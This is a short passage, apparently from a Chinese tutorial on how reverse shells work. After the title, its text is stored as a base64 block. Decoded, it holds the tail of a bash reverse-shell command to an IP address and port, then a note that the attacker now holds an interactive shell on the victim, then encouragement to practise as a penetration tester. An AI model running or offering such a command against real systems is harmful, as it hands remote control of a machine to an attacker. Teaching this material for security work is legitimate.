反弹shell的原理以及应用

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Mi4xNjguODMuMTQyLzY3NjcgMCZndDsmYW1wOzEgMiZndDsmYW1wOzEK6L+Z56eN5oOF5Ya15LiL77yM5pS75Ye756uv5bey6I635b6X5Y+X5a6z56uv55qE6L+c56iL5Lqk5LqS5byPc2hlbGzvvIzogIzkuJTlj5flrrPnq6/msqHmnInlho3lm57mmL7mlLvlh7vnq6/ovpPlhaXnmoTlkb3ku6TjgIIKCgrluIzmnJvnnIvliLDov5nnr4fmlofnq6DnmoTkurrog73lpJrlpJrliqjmiYvvvIzlsIblkI7pnaLnmoTljp/nkIbnkIbop6PkuIDkuIvvvIzlkIzml7bkuZ/oh6rlt7HlgZrkuKrlrp7pqozvvIzkuIDkuKrmiJDnhp/nmoTmuJfpgI/mtYvor5Xlt6XnqIvluIjnprvkuI3lvIDoh6rlt7HnmoTliqjmiYvog73lipvvvIE=